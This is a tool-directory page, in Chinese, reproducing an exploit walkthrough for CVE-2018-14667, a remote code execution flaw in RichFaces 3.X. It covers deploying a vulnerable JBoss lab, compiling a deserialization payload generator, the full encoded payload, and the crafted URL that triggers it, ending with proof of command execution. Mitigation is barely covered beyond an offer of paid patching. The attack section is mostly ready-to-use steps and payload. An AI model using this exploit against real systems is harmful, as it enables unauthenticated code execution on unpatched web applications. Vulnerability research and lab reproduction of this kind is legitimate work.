Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-14667 — 关于 CVE-2018-14667 的一切;从它是什么到如何成功利用它。 | Kitploit
工具/GitHubGitHub/syriusbughunt/cve-2018-14667
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发实验室与实践
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

关于 CVE-2018-14667 的一切;从它是什么到如何成功利用它。

查看仓库
50927年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-14667

在花费大量时间理解并正确利用此CVE后,我决定针对RichFaces 3.X的RCE漏洞构建一个仓库,并逐步向社区分享操作指南。

0x00 : RichFaces 3.X漏洞简介

2018年11月19日(周一),Joao F M Figueiredo 发表了一篇详细文章(https://seclists.org/fulldisclosure/2018/Nov/47),涉及一个严重高风险的RichFaces漏洞。
CVSS3基础得分 9.8

该漏洞将允许任何未经身份验证的用户在使用RichFaces 3.X(所有版本)的任何Web应用程序上执行远程代码,这几乎是最糟糕的情况。

0x01 : 我是否受影响? 

如果你正在运行RichFaces 3.X(任何3.x版本),并且在源代码中看到以下内容,那么很可能你容易受到CVE-2018-14667的远程代码执行攻击:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component.StateHolderSaver
  • java.awt.Color

0x02 : 运行易受攻击的环境以测试漏洞 

我基本上会重新解释seclists.org文章中已经涵盖的内容,即如何部署一个易受攻击的环境。

  1. 下载JBoss 5.1.0.GA以及一个包含PhotoAlbum应用程序的RichFaces演示应用。
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. 解压ZIP归档文件。
  3. 将应用程序 richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear 复制到JBoss部署目录 jboss-5.1.0.GA/server/default/deploy/
  4. 使用以下语法启动JBoss应用服务器(确保启动前8080端口未被占用):cd bin ; ./run.sh -b 0.0.0.0
  5. 你需要浏览PhotoAlbum索引页面以激活Web应用程序。

0x03 : 生成有效的payload 

现在是有趣的部分!这部分我遇到了困难,所以我将详细解释如何生成一个有效的payload,并避免重复我犯过的错误。我建议首先使用Eclipse来编译payload。

  1. 在以下链接下载Eclipse:
    → https://www.eclipse.org/downloads/
  2. 启动Eclipse,选择创建一个新的Web项目。
  3. 获取此仓库中提供的payload生成器(功劳归 orich1,来源 https://xz.aliyun.com/t/3264)
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. 解压此仓库中的WAR归档文件(richfaces-demo-3.3.0.GA-tomcat6.war),将WEB-INF/lib/文件夹中的所有.jar文件复制到Eclipse中Java Web项目的WebContent/WEB-INF/lib/目录下
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. 在Eclipse中添加Main.java文件;右键点击Eclipse中的Java Web项目名称,选择新建、文件。
  6. 将WebContent/WEB-INF/lib文件夹设为Eclipse中的构建路径源;右键点击lib文件夹,选择构建路径、用作源文件夹。
  7. 看看你是否能幸运地成功;点击绿色的播放按钮运行编译器。如果输出中显示0个错误并生成一个有效的payload,恭喜你,现在你拥有一个针对CVE-2018-14667的有效payload了。如果你遇到各种错误,不要惊慌。你可以注释掉以下第29,30,31,32,33,34,35行,使其看起来像这样:
root@kitploit:~
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

你的Eclipse输出结果应该如下所示:

root@kitploit:~
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : 发送你的payload并获得远程代码执行 

在浏览器中导航到本地运行PhotoAlbum Web应用程序的JBoss服务器 http://192.168.100.2:8080/photoalbum ,然后右键查看页面源代码。按Ctrl+F搜索'/DATA/'。你应该能找到类似这样的内容:

root@kitploit:~
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

你可以清楚地看到序列化对象。这里我们将用我们的payload替换该序列化对象以实现远程代码执行。在浏览器中,将URL更改为 http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/你在Eclipse中生成的payload。我的payload执行了以下命令 'touch /tmp/PoorRichFaces'。让我们看看是否成功:

root@kitploit:~
drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

感觉不错,对吧?我们刚刚在一个运行RichFaces 3.X的Java Web应用程序上获得了RCE。

0x05 : 如何修补? 

你可能不喜欢这个事实,所以请做好准备并坐稳;RichFaces已经达到了其产品支持的寿命终点,因此用户(你)应该自行应用补丁。不要惊慌,如果你找不到修补的方法,请随时联系我,我们可以做出安排,让我来修补你的Java Web应用程序。

电子邮件: [email protected]

下载工具